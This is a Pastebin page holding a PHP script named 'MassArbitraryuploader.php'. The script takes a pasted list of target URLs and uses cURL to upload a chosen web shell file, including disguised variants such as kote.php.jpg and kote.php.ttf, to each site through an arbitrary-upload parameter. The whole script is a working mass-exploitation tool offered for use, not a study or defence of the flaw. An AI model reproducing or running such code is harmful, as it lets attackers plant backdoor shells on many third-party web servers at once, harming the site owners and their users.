Advertisement
tobitaz

MassArbitraryuploader.php

Jul 22nd, 2013 (edited)
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.48 KB | None | 0 0
  1. <html>
  2. <title>tobi</title>
  3. <body style="background-color:black;">
  4. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  5. <center><br />
  6. <form action="" method="post">
  7. <font color="white">
  8. <input type="checkbox" name="php" value="kote.php">shell.php
  9. <input type="checkbox" name="phpjpg" value="kote.php.jpg">shell.php.jpg
  10. <input type="checkbox" name="phpttf" value="kote.php.ttf">shell.php.ttf
  11. <input type="checkbox" name="txt" value="kote.txt">kote.txt
  12. </font>
  13.  
  14. <br /><font color="white">Parameter:</font><input name="utk" value="Filedata"><br />
  15. <textarea name="test" cols="80" rows="25" style="border:3px outset #339900; color:green; background-color:black;"></textarea><br>
  16. <button type="submit" value="UPLOAD" style="border:3px outset red; width:50%; height:50px; color:white; background-color:red;">UPLOAD</button>
  17.  
  18. </form>
  19. </center>
  20. </body>
  21. </html>
  22. <?php
  23.  
  24. $phps = $_POST["php"];
  25. $phpjpgs = $_POST["phpjpg"];
  26. $phpttfs = $_POST["phpttf"];
  27. $phptxts = $_POST["txt"];
  28. $phps = $_POST["php"];
  29. $para = $_POST["utk"];
  30.  
  31.  
  32. //fungsi
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42. //execu
  43.  
  44.  
  45.  
  46.    $array = preg_split('/(\r?\n)+/', $_POST['test']);
  47.    foreach($array as $line)
  48.    {
  49.  
  50.  
  51. if($phps != null)
  52. {
  53. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  54. echo "url:".$line." <font style='color:red; background-color:white;'>";
  55.  
  56. $ch = curl_init();
  57. $data = array($para => "@$phps");
  58. curl_setopt($ch, CURLOPT_URL, $line);
  59. curl_setopt($ch, CURLOPT_POST, 1);
  60. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  61. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  62. $tetek = curl_exec($ch);
  63. $buang = strip_tags("\n result php:" . $tetek ."\n\n\n");
  64. echo $buang;
  65. echo "<br /></font></div></center>";
  66. }
  67. else
  68. {
  69. }
  70. if($phpjpgs != null)
  71. {
  72. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  73. echo "url:".$line." <font style='color:red; background-color:white;'>";
  74.  
  75. $ch = curl_init();
  76. $data = array($para => "@$phpjpgs");
  77. curl_setopt($ch, CURLOPT_URL, $line);
  78. curl_setopt($ch, CURLOPT_POST, 1);
  79. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  80. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  81. $tetek = curl_exec($ch);
  82. $buang = strip_tags("\n result php.jpg:" . $tetek ."\n\n\n");
  83. echo $buang;
  84. echo "<br /></font></div></center>";
  85. }
  86. else
  87. {
  88. }
  89.  
  90. if($phpttfs != null)
  91. {
  92. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  93. echo "url:".$line." <font style='color:red; background-color:white;'>";
  94.  
  95. $ch = curl_init();
  96. $data = array($para => "@$phpttfs");
  97. curl_setopt($ch, CURLOPT_URL, $line);
  98. curl_setopt($ch, CURLOPT_POST, 1);
  99. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  100. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  101. $tetek = curl_exec($ch);
  102. $buang = strip_tags("\n result php.ttf:" . $tetek ."\n\n\n");
  103. echo $buang;
  104. echo "<br /></font></div></center>";
  105. }
  106. else
  107. {
  108. }
  109.  
  110. if($phptxts != null)
  111. {
  112. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  113. echo "url:".$line." <font style='color:red; background-color:white;'>";
  114.  
  115. $ch = curl_init();
  116. $data = array($para => "@$phptxts");
  117. curl_setopt($ch, CURLOPT_URL, $line);
  118. curl_setopt($ch, CURLOPT_POST, 1);
  119. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  120. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  121. $tetek = curl_exec($ch);
  122. $buang = strip_tags("\n result txt:" . $tetek ."\n\n\n");
  123. echo $buang;
  124. echo "<br /></font></div></center>";
  125. }
  126. else
  127. {
  128. }
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.    }
  143.    
  144. ?>
  145.  
  146. </body>
  147. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement